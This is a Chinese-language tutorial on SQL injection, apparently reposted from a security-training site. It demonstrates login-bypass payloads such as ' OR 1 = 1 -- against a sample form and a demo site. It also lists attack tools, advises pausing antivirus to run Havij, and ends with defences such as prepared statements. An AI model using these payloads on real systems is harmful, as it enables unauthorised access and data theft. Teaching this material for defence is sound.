SQL 注入教程,通过一个示例理解 SQL 注入的全过程

2019年10月26日 49

说明

数据是信息系统最重要的组成部分之一。组织使用数据库驱动的 Web 应用程序从客户处获取数据。SQL 是结构化查询语言的首字母缩写。它用于检索和操作数据库中的数据。

什么是 SQL 注入?

SQL 注入是一种攻击,它会使动态 SQL 语句中毒以注释掉语句的某些部分或附加始终为真的条件。它利用设计不佳的 Web 应用程序中的设计缺陷来利用 SQL 语句来执行恶意 SQL 代码。
在本教程中,您将学习 SQL 注入技术以及如何保护 Web 应用程序免受此类攻击。

SQL 注入的工作原理

可以使用 SQL 注入执行的攻击类型因数据库引擎的类型而异。攻击适用于动态 SQL 语句。动态语句是在运行时使用来自 Web 表单或 URI 查询字符串的参数 password 生成的语句。

让我们考虑一个带登录表单的简单 Web 应用程序。HTML 表单的代码如下所示。

<form action=\'index.php\' method="post">
<input type="email" name="email" required="required"/>
<input type="password" name="password"/>
<input type="checkbox" name="remember_me" value="Remember me"/>
<input type="submit" value="Submit"/>
</form>

这里,
– 上面的表单接受电子邮件地址,然后密码将它们提交到名为 index.php 的 PHP 文件。
– 它可以选择将登录会话存储在 cookie 中。我们从 remember_me 复选框中推断出这一点。它使用 post 方法提交数据。这意味着值不会显示在 URL 中。

假设后端用于检查用户 ID 的语句如下所示

SELECT * FROM users WHERE email = $_POST[\'email\'] AND password = md5($_POST[\'password\']);

上面的语句直接使用$_POST[]数组的值而不对它们进行清理。
密码使用 MD5 算法加密。
我们将使用 sqlfiddle 来说明 SQL 注入攻击。在 Web 浏览器中打开 URL:http://sqlfiddle.com/ 您将看到以下窗口。

注意:您必须编写 SQL 语句

SQL注入步骤 1)在左窗格中输入此代码

CREATE TABLE `users` (
  `id` INT NOT NULL AUTO_INCREMENT,
  `email` VARCHAR(45) NULL,
  `password` VARCHAR(45) NULL,
  PRIMARY KEY (`id`));

insert into users (email,password) values ('m@m.com',md5('abc'));

步骤 2)单击 Build Schema

步骤 3)在右侧窗格中输入此代码

select * from users;

步骤 4)单击 “运行 SQL”。您将看到以下结果
blob
请输入图片描述假设用户名为,admin@admin.sys;1234 为密码。要对数据库执行的语句是

SELECT * FROM users WHERE email = 'admin@admin.sys' AND password = md5('1234');

可以通过注释掉密码部分并附加始终为真的条件来利用上述代码。假设攻击者在电子邮件地址字段中提供以下输入。

xxx@xxx.xxx' OR 1 = 1 LIMIT 1 -- ' ]

xxx 为密码。

生成的动态语句如下。

SELECT * FROM users WHERE email = 'xxx@xxx.xxx' OR 1 = 1 LIMIT 1 -- ' ] AND password = md5('1234');

这里,

  • xxx@xxx.xxx 以单引号结束,完成字符串引用
  • OR 1 = 1 LIMIT 1 是一个始终为真的条件,并将返回的结果限制为仅一个记录。
  • — ‘ AND … 是一个消除密码部分的 SQL 注释。
    复制上面的 SQL 语句并将其粘贴到 SQL FiddleRun SQL Text 框中,如下所示
    blob

黑客活动:SQL 注入 Web 应用程序

我们在 http://www.techpanda.org/ 上有一个简单的 Web 应用程序,仅出于演示目的而容易受到 SQL 注入攻击。上面的 HTML 表单代码取自登录页面。该应用程序提供基本安全性,例如清理电子邮件字段。这意味着我们的上述代码不能用于绕过登录。

为了解决这个问题,我们可以改为使用密码字段。下图显示了您必须遵循的步骤
blob
SQL注入假设攻击者提供以下输入
– 第 1 步:输入 xxx@xxx.xxx 作为电子邮件地址
– 第 2 步:输入 xxx\’) OR 1 = 1 — ]
blob
– 单击 “提交” 按钮
– 您将被引导至仪表板
生成的 SQL 语句如下所示

SELECT * FROM users WHERE email = 'xxx@xxx.xxx' AND password = md5('xxx') OR 1 = 1 -- ]');

下图说明了已生成的语句。
blob
这里,
– 该语句智能地假设使用 md5 加密
– 完成单引号和结束括号
– 在语句中附加一个始终为 true 的条件
通常,成功的 SQL 注入攻击会尝试许多不同的技术,例如上面演示的技术,可以成功进行攻击。

其他 SQL 注入攻击类型

SQL 注入比传递登录算法更有害。一些攻击包括

  • 删除数据
  • 更新数据
  • 插入数据
  • 在服务器上执行可以下载和安装特洛伊木马等恶意程序的命令
  • 将有价值的数据(如信用卡详细信息,电子邮件和密码)导出到攻击者的远程服务器
  • 获取用户登录详细信息等

以上清单并非详尽无遗;它只是让你了解 SQL 注入

SQL 注入的自动化工具

在上面的例子中,我们使用基于我们丰富的 SQL 知识的手动攻击技术。有一些自动化工具可以帮助您在最短的时间内更有效地执行攻击。这些工具包括

  • SQLSmack – http://www.securiteam.com/tools/5GP081P75C.html
  • SQLPing 2 –
  • http://www.sqlsecurity.com/downloads/sqlping2.zip?attredirects=0&d=1
  • SQLMap – http://sqlmap.org/

如何防止 SQL 注入攻击

  • 组织可以采用以下策略来保护自己免受 SQL 注入攻击。 永远不应该信任用户输入 – 在动态 SQL 语句中使用它之前必须始终对其进行清理。
  • 存储过程 – 这些可以封装 SQL 语句并将所有输入视为参数。
  • 准备好的语句 – 通过先创建 SQL 语句然后将所有提交的用户数据作为参数处理来准备好的语句。这对 SQL 语句的语法没有影响。
  • 正则表达式 – 这些可用于检测潜在的有害代码并在执行 SQL 语句之前将其删除。
  • 数据库连接用户访问权限 – 只应为用于连接数据库的帐户提供必要的访问权限。这有助于减少 SQL 语句在服务器上执行的操作。
  • 错误消息
    • 这些消息不应泄露敏感信息以及发生错误的位置。简单的自定义错误消息,例如 “抱歉,我们遇到了技术错误。已联系技术团队。请稍后再试 “可以使用而不是显示导致错误的 SQL 语句。

黑客活动:使用 Havij 进行 SQL 注入

在这个实际场景中,我们将使用 Havij Advanced SQL Injection 程序扫描网站中的漏洞。

注意:由于其性质,您的防病毒程序可能会标记它。您应该将其添加到排除列表或暂停您的防病毒软件。

下图显示了 Havij 的主窗口
blob
上述工具可用于评估网站 / 应用程序的漏洞。

内容提要

  1. SQL注入是一种利用错误SQL语句的攻击类型
  2. SQL注入可用于绕过登录算法,检索,插入,更新和删除数据。
  3. SQL注入工具包括SQLMap,SQLPing和SQLSmack等。
  4. 编写SQL语句时的良好安全策略可以帮助减少SQL注入攻击。
1:如非特殊说明,本站对提供的源码不拥有任何权利,其版权归原著者拥有。请在下载后24小时之内自觉删除。
2:该资源只为研究、学习所提供,任何涉及商业盈利目的均不得使用,若需要,请购买正版,否则产生的一切后果将由您自己承担,与本站无关!
3:本网站所有资源均为作者提供和网友推荐收集整理而来,不保证其完整性以及安全性。如有侵犯你版权的,请来信(邮箱:lwvip_com@qq.com)指出,本站将立即改正。
本文地址:老巫源码 » SQL 注入教程,通过一个示例理解 SQL 注入的全过程

全屏

切换